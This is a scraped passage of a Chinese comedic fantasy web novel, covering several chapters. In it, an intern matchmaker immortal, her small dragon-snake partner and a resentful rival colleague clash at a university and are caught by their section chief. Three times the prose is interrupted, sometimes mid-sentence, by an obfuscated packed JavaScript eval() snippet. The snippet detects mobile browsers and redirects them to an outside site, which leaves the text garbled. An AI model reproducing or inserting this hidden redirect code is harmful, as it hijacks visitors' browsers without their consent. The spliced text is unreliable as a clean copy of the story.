喉咙里发出咕噜咕噜的声音,还夹着软绵绵的“喵~喵~”叫唤。 咖啡师停下了手中的动作,看看狸花猫,又看看桃喜宁。 “奇怪……我家笔芯平时挺高冷的,除了我和……呃,很少对陌生人这么亲热。” 桃喜宁已经蹲了下来,熟练地伸出手,挠向狸花猫的下巴。指尖传来温暖柔软的触感,以及妖类特有的、比寻常猫咪更沉稳的生命律动。 她哪里是什么陌生人——眼前这只正享受按摩的狸花猫,正是隔壁邻居岑漫养的猫妖笔芯。 桃喜宁端起托盘,在咖啡馆靠窗的角落里找了个视野不错的位置坐下。 这个角度,她能透过间隙看到图书馆大门出入的人影,而自己大半身影却隐在阴影里。 笔芯亦步亦趋地跟了过来,毫不客气地继续蹭着,甚至还跳到了桃喜宁的腿上。 桃喜宁抿了一口咖啡,顺便和猫妖展开交流。 【笔芯,你怎么跑到这儿来了?不会是跟漫漫吵架,上演离家出走了吧?】 她虽然是这么调侃,心里却知道可能性不大。 要是笔芯真离家出走了,岑漫恐怕早就消息轰炸所有联系人,并开始打印寻猫启事了。 果然,笔芯摇了摇猫头。 【喵……才不是出走……喵喵,这个咖啡师是漫漫以前的伴侣啦,是本喵的第一任长期饭票……】 【他俩分开的时候,为了本喵的归属权吵了好久……喵……最后达成协议,每个月轮流供奉本喵半个月……】 桃喜宁心里莫名生出些感慨,唏嘘道。 【“哎……这么说,因为你,他俩每个月至少还得交接一次,算是没彻底断了联系?你就没想过给他俩重新牵牵线?】 等等,她在说什么?难道职业病对她来说已经深入骨髓了吗?—— 见到任何一丝人情的勾连,第一反应竟是琢磨能不能把它拧成一条红线。这念头让她有点哭笑不得。 桃喜宁立刻把感慨连同那点荒谬的工作习惯,一齐转回了自己。 笔芯肯定是不能体会到桃喜宁的复杂心态,它抖了抖胡子。 【喵!才不要!……他俩在一起的时候,经常看着对方不说话,气氛低气压得本喵的猫粮都不香了!】 【……喵呜……铲屎都铲得心不在焉,本喵的如厕体验极差!…分开好,清净!】 桃喜宁被这通关乎饭碗与如厕质量的论调逗得差点笑出声,胸中那点因职业病而生的自怨自艾,也被吹散了大半。 “嘶——!” 一声急促而带着明显怒意的嘶鸣毫无预兆地响起! 紧接着,一道青色的影子如同离弦之箭,从咖啡馆门口的方向疾射而来,目标直指桃喜宁腿上的猫妖! 桃喜宁看得分明,那正是回来的敖翔! 笔芯反应极快,迎着敖翔扑了上去! 一时间,只见一道黄褐影子和一道青色影子在桃喜宁腿边、椅子下、甚至半空中飞快地交错、扑击、翻滚! 猫的哈气声、爪子挥舞的破风声,与蛇类愤怒的嘶嘶声混杂在一起,战况激烈,速度快的几乎让人眼花缭乱。 “刚才……是不是有什么东西闪过去了?” “哎?笔芯在跟什么打架吗?速度太快了看不清啊!” 咖啡馆里目睹这些的学生们,惊呆了,议论纷纷,伸着头试图看清这高速移动的战况。 桃喜宁后背的冷汗“唰”一下就下来了。她脑子里瞬间闪过无数可怕的画面: 敖翔被发现,被人惊呼“有蛇!”,然后引发咖啡馆大混乱,保安赶来,自己被请去喝茶,仙界外勤任务因此暴露,年终考核直接不及格,实习月老转正就此告吹…… “不行!绝对不行!” 她看准一个敖翔和笔芯短暂分开、蓄力准备再次对冲的瞬间,眼疾手快,双手猛地向前一抄! 精准地、牢牢地,将那道青色的影子捞进了自己怀里,并用衣服下摆迅速盖住。 【放开我!桃喜宁你放开我!】敖翔在她怀里剧烈挣扎,传音里充满了狂暴的怒气。 【我要咬死这个不要脸的臭猫!它竟敢蹲你腿上!那是它能蹲的地方吗?!】 而笔芯此刻已经跳回了桌上,好整以暇地蹲坐下来,慢条斯理地舔着自己刚才挥动过的爪子。 它瞥了一眼被桃喜宁“控制”住的敖翔,猫眼里闪烁着明晃晃的得意和挑衅,优雅地“喵~~”了一声,尾音拖得老长。 桃喜宁对此的理解是——【你过来呀~~~】 【啊啊啊!臭猫居然还敢挑衅!放开我!】敖翔挣扎得更加厉害。 桃喜宁几乎要用上全身力气才能压制住这条突然狂暴的小青蛇,场面一度十分狼狈。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17010545|193254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就在她快要按不住的时候—— “啊!是林渊傅教授!” 咖啡馆门口方向,一个女生惊喜的尖叫声骤然响起,瞬间吸引了所有人的注意力。 桃喜宁循声抬头,果然看见林渊傅推门走了进来。他提着一个笔记本电脑包,似乎只是路过想买杯咖啡带走。 刚刚还在桃喜宁这边的学生们,瞬间调转了方向,“呼啦”一下将林渊傅堵在了门口附近。 “林教授!恭喜您啊!最新那两篇论文都在顶刊上发表了,太厉害了!” “林教授,听说好几所知名大学都给您发来了正式的学术交流邀请函,您下学期会不会去啊?” “林教授,您下次公开课什么时候?我们好多同学都没抢到位子……” 叽叽喳喳的提问和崇拜的惊叹声瞬间淹没了刚才的些许骚动。所有人的目光都聚焦在了林渊傅身上。 趁此机会,桃喜宁舒了一口气,按住怀里敖翔的手稍微松了点力道。 然而,桌上的笔芯显然不打算就此罢休。 它弓起背,尾巴炸开,冲着桃喜宁怀里的方向,发出了低沉的、充满威胁的“呜呜”声,爪子还在桌面上抓挠了一下,一副挑事模样。 桃喜宁顿感头疼。眼看敖翔又有要暴起的趋势,她当机立断,对着笔芯伸出一根手指,迅速开出条件: 【停战!一整包猫条!各种口味任选!】 笔芯舔爪子的动作顿住了,炸开的毛缓缓顺了下去,似乎在评估这个条件的诚意。 两秒后。“喵~成交。” 它干脆利落地叫了一声,然后跳下桌子,迈着不紧不慢的步子,头也不回地走向了吧台后的咖啡师,跳到他脚边蜷缩起来。 【臭猫!不准走!胜负未分!】敖翔的传音依旧怒气冲冲,挣扎着还想追出去。 桃喜宁赶紧把他捂严实了,同时换上一副哄小孩的语气,飞快地传音道。 【好了好了,我们有正经工作的,大局为重!不跟它一个整天游手好闲、只知道讨猫条的一般见识哈。】 敖翔在她怀里盘成一团,尾巴尖气鼓鼓地拍打着她的手臂,传音闷闷的:【哼!】 一副“我不想搭理你并且非常生你气”的样子。 桃喜宁眼珠一转,立刻转换策略,语气充满了惊喜和崇拜。 【哎呀!说起来,你这么快就回来了!肯定是马奋进那边一跟就找到了关键线索对不对?我就知道!这效率,这能力,不愧是敖翔!快说说,发现了什么?】 这一顿猛夸,终于让敖翔稍微抬起了他那高傲的小脑袋,传音里的怒气值明显下降,取而代之的是一丝掩饰不住的得意。 【那是自然!我出马,探查这种小事,还不是轻松拿捏?】 他稍微停顿了一下,似乎想起了正事,用尾巴尖在桃喜宁的手腕上点了点,指向依然被学生们包围着的林渊傅,传音清晰而肯定。 【我刚才跟着马奋进出了图书馆,没走多远,就碰到了林渊傅。他们两个看上去很熟。】 【而且,我听到他们简短的对话,马奋进现在……似乎是林渊傅带着的研究生。】 22. 第22章 桃喜宁抱着怀里的敖翔,站在咖啡馆门口的台阶上,长长舒了口气。 “林渊傅还真是受欢迎,跟上回一样,根本没法靠近。” 她回头瞥了一眼咖啡馆内那依然围着林渊傅的的学生,小声嘀咕了一句。 怀里的敖翔不安分地动了动,似乎还对刚才的对战失利耿耿于怀。 “还是先撤为妙,”桃喜宁果断决定,一边安抚地用手指按了按外套下那团躁动,一边快步走下台阶。 “省得你待会儿趁乱溜回去跟笔芯打架。我的信仰值可不够赔人家咖啡店的损失。” 她揣紧敖翔,在咖啡馆门口聚集、张望、试图挤进去的人群缝隙里左躲右闪、见缝插针,一下就滑到了相对清静的人行道上。 然后...和马奋进大眼瞪小眼对上了。 只见马奋进站在她面前,左右手都各拎着一只塞满了书的袋子。 两个袋子都沉甸甸的。 【糟糕,刚才光顾着闪避人群,完全没注意到马奋进靠近了。】 桃喜宁在心里谴责自己,想了想,觉得不能光谴责自己,决定也谴责一下马奋进。 【他也一样,刚才应该是正准备埋头往咖啡馆里冲,完全没注意到我就在旁边。】 所以才有了现在这个尴尬场面啊喂。 桃喜宁这边还在批评与自我批评,那边马奋进已经直接进入了批评。 “桃喜宁?!”他的声音陡然拔高,语气里带着明显质问,“你怎么会在这里?现在可是上班时间!” 桃喜宁:“……”感觉额角似乎跳了一下。 这就属于典型的……恶人先告状?不,好像用词不太准确,但这绝对是五十步笑百步! “你也知道是上班时间啊?”她立刻挺直腰板,眉毛一挑,毫不示弱地反瞪回去,气势上绝对不能输。 “那请问马同事,你又为什么会出现在这所凡间的大学里,还一副急着要去咖啡馆的样子?” 敖翔也非常适时地探出脑袋,冲着马奋进发出两声清晰的、充满警告意味的“嘶嘶”,权当给她助威。 马奋进被问得一噎,脸上闪过一丝不自然。 但随即,他的目光在桃喜宁脸上和咖啡馆方向之间快速逡巡了一下,忽然右手握拳,猛地一击左手掌心,发出一声闷响—— 像是突然想通了什么关键。 “原来是你!”马奋进盯着桃喜宁,眼睛瞪得溜圆:“白饴那根和林渊傅的红线,是你牵的对不对?” “是啊,”桃喜宁答得坦荡无比,甚至下巴都微微抬高了一点,带着点理所应当的小骄傲,“白饴和林渊傅是来我管辖的月老庙申请的,我按流程牵线,清清楚楚。怎么,这有什么问题吗?” 谈工作,谈业绩,她腰杆最硬,光明正大。 然而,这副理直气壮的模样,落在马奋进的眼里,显然是成了火上浇油。 他的脸迅速涨红了,提着书袋的手都因为用力而微微发抖。 “我就知道是你!我就知道!桃喜宁,你到底是怎么回事?怎么到哪里都要跟我争,都要压我一头?!” 这下,轮到桃喜宁的眼睛瞪得溜圆了。 “哎哎哎,”她举起双手做了个暂停的手势,语气充满了荒谬感。 “马同事,这话可就过了啊!我们不是刚成为同事没多久吗?算上KTV那次,这才第二次正式见面吧?我什么时候,在什么地方,跟你争过什么了?” 简直一头雾水,这指控来得莫名其妙。 “你!你居然……你居然不记得我了?!”马奋进似乎更气了,连声音都有些变调。 桃喜宁被他吼得一愣,皱着眉,仔仔细细、上上下下地重新打量了一遍马奋进…… 除了在KTV里被李科长重点关照过之外,她对他真的没什么印象啊。 “仙界招录考试培训班……我们,曾经是同期。”马奋进的声音,像是从牙缝里挤出来的。 “哦,那个培训班啊...”桃喜宁点点头,试图让气氛别那么僵。 “你别说话!”马奋进彻底堵死了她的话头。“听我说完!” 紧接着,他根本也不管桃喜宁愿不愿听,对着她就开始不管不顾地倾泻那段陈年旧事—— ...... 为了冲击仙界编制统一考试,各类仙界招录考前培训班层出不穷。 桃喜宁报了当时口碑最好、也最贵的一个冲刺班。 马奋进就坐在她斜后方不远的位置。 那时的他,还没有像现在这般时刻挺直着背脊。但眉宇间那股不服输的劲头,已经初现端倪。 第一次模拟考成绩公布后,马奋进死死盯着榜单上自己的名字,和后面那个不上不下的排名,牙齿咬得咯咯响。 “可恶……我都这么拼命复习了,怎么是在中游徘徊?”他用力攥紧了手中的笔,目光在排名表上扫视,最终定格在自己名字上方的那一行。 “桃喜宁……好,下次考试,就拿你做标杆,一定要超过你!” 马奋进斗志昂扬,将全部精力投入新一轮的复习。 然而,现实的打击总是格外青睐那些乱立目标的人。 第二次模拟考,他信心满满地交卷,结果成绩公布——不进反退。 “怎么会这样?!”马奋进看着更靠后的名次,几乎要崩溃。 他想起之前给自己立的标杆,就又在名单上搜寻起来,直到找到那个熟悉的名字。 “嗯?桃喜宁这次排在我前面……只前一名?看来她也退步了!好,我的机会就在下次!” 他重燃希望,夜以继日。 第三次,他觉得自己发挥超常,答题如有神助。迫不及待地找到排名。 “这次总该……什么?!桃喜宁怎么还是在我前面一名?!不多不少,就一名?!她是故意的吗?!” 一种荒诞的、被戏弄的感觉攫住了他。 从此,无论马奋进如何悬梁刺股,如何在考场上绞尽脑汁——最终的成绩排名上,“桃喜宁”这三个字,永远稳稳地压在他头顶上方一位。 “可恶……培训班都结束了,我居然一次也没能超过她!” 培训班结业那天,马奋进望着最终排名,满心都是不甘:“以后怕是没机会再比了……” 这是一种看得见、摸不着,浑身使不上劲的憋闷。 为了证明自己,他做出了一个决定:报考和桃喜宁同一个仙界部门。 这样,未来总能有机会再分高下! 然而,每个考生的报考志愿都是保密的。 所以桃喜宁会报考哪里?马奋进只能靠猜。 “财神部,待遇优厚,是历年大热门!”他咂摸着这几个字,越想越觉得是这么回事。 “以桃喜宁在培训班名列前茅的成绩,她肯定会选择最受欢迎的财神部!” 于是,马奋进毫不犹豫地在志愿表上填下了财神部,并暗暗发誓:上岸之后,一定要在工作上真真正正地赢桃喜宁一次,一雪前耻。 结果,财神部的竞争惨烈到超乎想象,他在选拔中就这么被刷了下来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014300|193254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >好不容易等到仙界部门补录开放,这次马奋进不敢再过于自信。 在仔细研究了各部门的报考数量和历史录取线后,他最终选择了那个看起来竞争压力最小的——月老部。 历经波折,总算磕磕绊绊,成功上岸。 …… “直到上岸后,被李科长拉着去KTV团建,我才发现,你居然也在这个科里!”马奋进越说嗓门越大,仿佛积压了数年的意难平终于找到了宣泄口。 “你当年居然没去挤财神部!就这么……就这么悄无声息地躲到月老部来了?!” 桃喜宁看着马奋进那张写满“我被欺骗了”、“我白费劲了”的愤慨脸庞,心里只觉得一阵无语,荒谬感直往外冒。 这也能怪到她头上? “马同事,”桃喜宁试图讲道理,语气甚至带了点哭笑不得。 “你也知道财神部是大热门啊?就那恐怖的报考人数和个位数的录用人数……” 她顿了顿,看着马奋进,真心实意地、缓缓竖起一个大拇指,“你当年居然敢一头撞上去,这份勇气,我是佩服的!真勇!” 桃喜宁的本意是感慨,甚至带了点同情。 但这个竖起的大拇指,落在马奋进眼里,估计是成了讽刺和炫耀。 “你——!”马奋进当场就跳了起来:“新仇旧恨,今天正好一起算!桃喜宁,我告诉你,在月老部,我一定要赢你一次!” 桃喜宁看着眼前这位似乎已经陷入莫名斗志、甚至独自燃起熊熊烈火的同事,觉得头开始隐隐作痛。 但想想毕竟是一个科室的,抬头不见低头见,该劝的场面话还是得劝一劝。 “马同事,冷静,冷静点。”她摆出前辈的姿态,语重心长。 “你刚进月老部,很多情况不了解。在这里,搞内部恶性竞争、疯狂内卷,是真的划不来啊……” 然而,桃喜宁的话显然没被听进去。 马奋进的眼睛里还是只有胜负二字在燃烧,那架势,仿佛下一秒就要跟她当场比划。 桃喜宁心里警惕,脚下不着痕迹地往后退了半步,进入了随时准备开溜的状态。 万一这位脑回路清奇的同事真的暴走,她可得用最快的速度撤离战场。 要是因此被认定为莫名其妙的私斗,影响了转正,甚至还要扣信仰值,那才叫亏! 气氛正僵硬紧张,一触即发。 一个男声恰到好处地插了进来,打破了这诡异的对峙: “小马?” 桃喜宁和马奋进同时转头。 只见林渊傅不知何时已从咖啡馆脱身,正站在几步开外。 他的目光先落在马奋进身上,又扫过他手里那两个硕大沉重的袋子:“你怎么才过来?让你去图书馆借的书,都借齐了吗?” 马奋进身上那股快要实质化的熊熊烈火,应声熄灭。 “林教授,已经都借好了,您清单上要的,基本都找到了,都在这儿。” 他连忙举起手里的书袋示意:“我现在正打算送到您办公室去。” 林渊傅点了点头,似乎对效率还算满意:“那还在这里磨蹭什么?时间不等人,这周必须把论文需要的核心材料全部整理归档。走吧,跟我回学院。” “是,是,我这就来。”马奋进连声应着,低眉顺眼,立刻挪动脚步跟上了林渊傅。 那副姿态,和刚才那个梗着脖子要跟桃喜宁“决一死战”的样子判若两人。 只是在转身跟上林渊傅之前,他飞快地、恨恨地瞪了桃喜宁一眼。 23. 第23章 【我觉得,还是有必要要跟马奋进沟通一下。】 桃喜宁蹲在树荫底下,表面在放空发呆,实则在跟敖翔传音讨论。 【还沟通什么!他摆明了是要抢你这个单。跟他拼了!】 敖翔发出“嘶嘶”的声音,尾巴还“啪啪”用力击打草坪,草屑都被拍得飞溅起来。 桃喜宁看着敖翔激动的小模样,毫不怀疑只要自己一同意,敖翔就会立刻弹出去,满大学乱窜找到马奋进,然后用尾巴“啪啪”抽打他。 这可不行。 敖翔是青龙族派来月老部历练的,要是他和马奋进发生直接冲突,就差不多等于青龙族和月老部有矛盾了。 不行不行。 再说了,马奋进是冲着她来的,她哪有把敖翔放到前面顶着的道理? 打定了主意,桃喜宁决定先把眼前跃跃欲试的小青蛇给安抚下来。 她一把搂过敖翔,把他盘在自己膝盖上,然后熟练地使出搓圆揉扁的手法。 【哎呀,敖翔,小熬同志,小翔。】桃喜宁的传音放得又软又缓,带着哄劝的调子。 【论进科室的时间,你也是马奋进的前辈了,咱们格局要大,就不要跟他这刚上岸的后辈计较了。好不好嘛~~】 敖翔被她揉得整条蛇都塌了下来,连竖瞳都有些失焦,传音断断续续的。 【就...就算我不计较,可...可是他这么添堵,你...你红线...还有年度考核怎么办?眼看没多少时间了...】 “啪。” 桃喜宁用两根食指并拢,轻轻固定住敖翔晃悠的小脑袋,让他正对着自己。 【放心。我自有妙计。】 夜色渐浓,大学操场边缘的路灯依次亮起,投下昏黄模糊的光晕。 “这就是你说的妙计?”敖翔从桃喜宁外套的口袋里探出小半个脑袋。 “额……”桃喜宁看着对面不到五米处、气势汹汹连袖子都撸到胳膊肘的马奋进,一时有些语塞。 她不过是觉得沟通要及时,今日事今日毕,所以给马奋进发了个传音,约他晚上当面谈一下么。 至于为什么会发展成需要发那种传音才能约出人来,还得从今天下午,她更早一次失败的沟通尝试说起。 ...... 【好了没?我们已经在树上站了快一下午了。】 半个小时里,敖翔第九次提问,细长的尾巴尖从她口袋边缘探出来,不耐地轻点着她的手背。 【快了快了。我看得清楚,马奋进已经把桌上最后一叠资料整理完了。】 桃喜宁左手手搭凉棚,右手扶着粗糙的树干稳住身体,眯着眼往对面大楼那扇敞开的窗户里看去。 得亏这树荫够浓够密,否则她也没法藏在这树上站一下午,早被被路过的人当可疑分子了。 【从我们站在这里开始,你就说快了快了。】敖翔在口袋里盘成了一个紧实的小圈,连带着她外套那一块都微微下坠。 【哪里快了?他这最后一叠都叠了三四回了吧?】 桃喜宁看着口袋鼓出来那块固执的圆弧,无奈地拍了拍。 布料下面传来鳞片摩擦的细微沙沙声,似是在抗议。 最初是直接上门的,结果马奋进一看到是她,脸色一变,连句话都懒得说,直接“嘭”地一声把门关上了,力道大得门框都似乎震了震。 当时敖翔差点就要从她袖口窜出去了,被她硬是伸手按住了。 桃喜宁又用手机打电话、发消息,措辞从“有事商量”到“紧急公务”,等了半天马奋进没回。 她再次尝试拨打时,听筒里只剩下冰冷规律的提示音——马奋进的手机已经关机了,摆明了拒绝沟通。 【我本来是以为快了嘛。】桃喜宁的传音也带上了一点蔫巴, 她最初的确是这么乐观认为的,以为希望在即—— 结果现实是,马奋进整理完桌上的一叠,转身又从墙边地上搬起新的一叠,堆到桌上,然后坐下继续。 这么循环往复,桌上的资料低了又高——都数不清是第几轮了。 【不过,这次...这次应该真的快了】桃喜宁看着马奋进抱着桌上那叠好不容易整理完的资料,身影消失在办公室门口。 看方向,应该是去隔壁林渊傅的办公室交差了。 【我看马奋进是有的好整理了。】敖翔盘得纹丝不动,传音里透着一股看透一切的麻木。 【我记得刚才从图书馆出去跟着他时,林渊傅还拍着他肩膀表扬,说他连续加班好久好久了,辛苦。】 他顿了顿,尾巴尖又戳了她一下。 【也不知道,到底是他给林渊傅加的班多,还是你给白饴加的班多。】 【呵呵。】桃喜宁的传音都带着干巴巴的笑,嘴角扯了扯,实在摆不出更生动的表情。 除了干笑还能怎么办?两个堂堂仙界实习月老,给自己亲手牵了红线的凡人打工,还得加班加点,卷生卷死。 这事说出去,好像也不是很光彩的样子,月老部的脸面往哪儿搁。 【等等,马奋进回来了……】桃喜宁精神一振,腰板都挺直了些,等看清来人手里的东西,立刻又萎靡了下去。 马奋进回来时,怀里又抱上了两叠崭新的、看起来分量十足的文件夹——她甚至能分辨出,跟刚才他抱出去的那些完全不同。 【算了,还是发传音吧。】桃喜宁心一横,也顾不上什么沟通策略和面子了,硬是将传音强行连上了办公室里的马奋进。 为了防止连这最后的通讯渠道都被对方单方面掐断,她还用上了最快的语速,丢下了一句不容置疑的留言。 ...... “你发的传音,到底什么内容?”敖翔的尾巴在她口袋里不安分地甩了甩,抽得布料发出轻微的“噗噗”声。 桃喜宁托着下巴,借着路灯的光,努力回忆了一下下午斟酌字句的情形。 “我就说……马奋进,我们当面聊聊。你也不想事情闹到李科长那里去的吧?” 重点突出,有理有据,还留有余地。 敖翔沉默了两秒。 【……哦。】 “你这个‘哦’是什么意思。”桃喜宁微微侧头,对着口袋方向一挑眉,哪怕知道敖翔可能看不见:“是觉得我的表达有问题吗?” 【你们两个!是不是当我不存在!】马奋进的嗓门猛地提了起来,在空旷的操场上显得有些单薄,甚至带起了一点回音。 只可惜,这高亢的声音很快就被夜晚的寂静吸收、消散了大半。 虽然是晚上,桃喜宁还是能清楚地看到——马奋进的脸气得鼓了起来。 她尴尬地清了清嗓子,朝着马奋进的方向提高了一点音量:“马同事,不好意思啊,刚跟敖翔说点细节。想着选个没人的地方,方便我们深入……沟通哈。” 对,没人,主要是指没有凡人。 万一一言不合,迫不得已需要……呃,动手动脚,至少不会被凡人目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17018794|193254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 击,避免麻烦。 比如现在——马奋进似乎觉得刚才袖子撸得还不够高,又用力往上扯了扯。 “这也叫没人?”敖翔的小脑袋轻轻转了个方向,望向操场另一侧。那里,教职工宿舍楼的窗户透出星星点点的暖黄灯光,楼房轮廓在夜色中林立 “没办法,这个操场已经是离教学区和生活区最远的了。”桃喜宁坚决捍卫自己的选择,语气也带上了一点理直气壮。 “而且,是马奋进在传音回复里强调,说他晚上还要在大学图书馆继续整理资料,不能走远,所以我才选的这里!够体谅他了吧?” 敖翔的小脑袋转回来,似乎在黑暗中看了她一眼。 “……哦。”他的传音停顿了一下,才慢悠悠补上后半句:“他还要加班……” “哎!打住!不要提加班这两个字!”桃喜宁大惊失色,赶忙在传音里制止敖翔往下说。 马奋进这样,显然已经受不得刺激了。 但是,似乎晚了。 【啊!你们两个,还在嘲笑我!】马奋进的声音更高亢了,甚至有点破音。他一只脚猛地往前踏了半步,身体微微前倾,双手也抬了起来。 桃喜宁眼疾手快,一把将敖翔探出太多的小脑袋轻轻按回口袋,还试图再度开口,好把话题拉回沟通的轨道。 忽然,一阵此起彼伏的、中气十足的打招呼声和说笑声,从操场入口方向传了过来。 “唉,今天这么早来啦?” “是啊,今天晚饭吃得早,就想着早点来活动活动,占个好位置!” “对对,晚上这边空气好,跑两圈舒服。” 好些大爷大妈们,三五成群,精神抖擞地走进了操场。 他们自然而然地分散开,有的开始绕着跑道慢跑,有的在空地中央打太极拳,有的则凑在一起边拉伸边聊天。 原本寂静空旷的操场,顷刻间充满了生活的嘈杂与活力。 “……”敖翔的小脑袋顶开口袋布料,又悄悄冒了出来。 大约是觉得在逐渐热闹起来的背景音和昏暗光线的掩护下,被凡人注意到的风险降低了,他甚至没用传音:“这……真的叫‘没人’?” 桃喜宁左看看,右看看,缩了缩脖子,小小声回应。 “也……不算,太多吧?比白天教学楼里强多了。你看,他们都在各忙各的,没人特别注意我们……” “呼——!” 她话音未落,一阵劲风就扫了过来! 桃喜宁下意识地偏了偏脸,那风擦着她的耳边掠过。 “马同事!”她立刻后撤半步,压低声音:“别动手!这是在人界,而且周围还这么多凡人看着,会很麻烦的!” 马奋进胸膛起伏,像是根本没听进去她的话。 眼看局面要从沟通滑向不可控的冲突范围。 桃喜宁当机立断:“沟通环境恶化,还是下次再找机会吧。 她目光飞快地扫视着操场几个出口和人群间的缝隙,身体微微倾斜,就打算先跑路为上。 “再闹下去动静大了,要是让李科长知道就麻烦了。” 最后一个字还没完全落下。 一个熟悉的男声毫无预兆地从他们侧后方、一片路灯照射不到的阴影里传了出来: “让我知道什么就麻烦了?” 阴影边缘的昏暗光线微微扭曲,一个身影不紧不慢地踱步而出,路灯的光终于照清了他的脸—— 正是李帅,李科长。 24. 第24章 看见李帅的一瞬间,桃喜宁倒吸一口凉气,几乎是条件反射般地挤出笑容:“李科长,什么风把您吹来了?” 她的声音里带着恰到好处的惊讶与殷勤,仿佛真的对此毫无预料。 马奋进站在桃喜宁身旁,闻言只是冷哼一声,声音不大,却清晰地在寂静的夜空中回荡:“谄媚。” 桃喜宁脸上的笑容僵了一瞬,心里恨不得立刻给这个愣头青一记白眼,但面上却丝毫不敢显露。 李帅的视线来回扫视,最终停在桃喜宁故作镇定的脸上。 他的每一个字都像是从牙缝里挤出来的:“最近你们两个变着法子申请外勤,我动不动就要给你们俩审批。结果你们呢,现在在干什么!” 桃喜宁下意识地缩了缩脖子。她正想开口解释,身旁的敖翔却先动了。 他竖起身体挡在了桃喜宁面前,仰头对着李帅:“不能怪桃喜宁,是马奋进先动手的。” 桃喜宁瞬间扶额,内心哀嚎:敖翔,看看场合啊! 她偷偷抬眼瞥向李帅——果然,李帅的脸色更加阴沉,额角似乎在跳动。 “动手?”李帅重复着这两个字,语调陡然拔高。“月老部的员工,在人界辖区,真是好兴致啊!” 桃喜宁只觉得头皮发麻,赶紧往前半步,脸上重新堆起笑容。 “哎呀,李科长您误会了!这不是我一直牢记您平时的教导,想和新同事增进感情嘛!正巧今天月色明亮,是月下漫步、畅聊工作的好时机,可不就约出来了。” 她一边说,一边用眼角的余光拼命给马奋进使眼色,希望他能稍微配合一下。 然而马奋进只是板着脸站在那里,对她的眼色视若无睹,一副“任你巧舌如簧,我自岿然不动”的模样。 更糟糕的是,敖翔听了桃喜宁的解释,竟然一扭头,直直瞪着桃喜宁:“所以你非要跟马奋进沟通,是想和他增进感情的?” 桃喜宁差点一口气没上来,赶紧伸手,一把将敖翔的小脑袋掰回去,让他重新面朝李科长的方向:“敖翔,这不是重点!” 就在这混乱的当口,天上的云层似乎被一阵晚风吹散,月亮的光华越发明亮,清晰地映照出在场每一个人的表情。 借着这突然增强的月色,桃喜宁眼尖地注意到,李科长头顶那原本就略显稀疏的头发,似乎又薄了几分。 她心头一凛,立刻低下头,不敢再看,生怕罪加一等。 一片令人窒息的死寂,沉沉地压在桃喜宁低垂的头顶。然后,李帅的声音就从正上方落了下来。 “月下漫步?畅聊工作?桃喜宁,你看我信吗?” 声音顿了顿,方向似乎微转,压向了另一边: “马奋进,你来说。” 桃喜宁心中警铃大作。她来不及使用任何传音——只得急急地、幅度极小地又给马奋进使了个眼色。 那意思再明白不过:快!配合我一下!先把眼前这关过了再说! 然而,马奋进看起来压根就不屑于接桃喜宁这个眼色。 他胸脯一挺,声音洪亮,带着一种拒绝不同流合污的坦荡。 “报告李科长!我揭发!桃喜宁所言不实!我们今天约在这里,根本不是增进感情,是因为竞争红线业绩,所以来此决一胜负的!” “决一胜负”四个字,他咬得尤其清晰、响亮。 桃喜宁绝望地闭上了眼睛,心中最后一丝侥幸也烟消云散。 完了,全完了。她在心里长长地叹了一口气:“完蛋了。” 果然,“啪啪啪”—— 李帅抬起手鼓了几下掌,掌声在寂静的夜里显得格外刺耳。 “好,很好。为了竞争红线牵系的业绩,不惜私下约斗。很有干劲嘛。” 他顿了顿,语气越发平静:“我今天正好看了一下你们最近的业绩记录。合着你们俩最近竞相申请外勤,都集中在那个叫白饴的身上了?怎么,是平时的工作太清闲了吗?” “白饴?”桃喜宁偷偷摸摸转向马奋进。 “所以,白饴那个跟葛悭断裂的红线头,果然是在你辖区牵的?” 马奋进回了一个瞪眼:“你装什么傻?不是你截胡是什么?” “哎哎哎,马同事,这话可得说清楚!”桃喜宁也来了脾气,顾不上李帅还在面前,据理力争起来。 “白饴和葛悭红线断裂,那是既定事实。我给白饴和林渊牵上新的红线,是依据标准流程操作,而且时间点都发生在你成为实习月老之前!” 马奋进嘴巴一张,似是不认同这套论调,还想要再次争辩。 桃喜宁却不给他这个插嘴的机会,迅速接上自己的话。 “我可没有权限跨辖区查看白饴和葛悭旧红线的具体牵系记录!那是高级权限或者原辖区负责的月老才能看到的信息!我怎么知道那是你辖区的...” “够了!”——她的话,被一声低喝打断了。 “聊完了吗?”李帅声音里的不耐几乎要满溢出来:“在这里争辩谁先谁后,谁对谁错,很有意思是吗?觉得不够丢我们月老部的脸?!” 桃喜宁立刻老老实实闭上嘴……她看着李帅颤抖的手指在虚空里指来指去,最终还是指了过来。 “现在,立刻,马上,给我回去写检查!……” 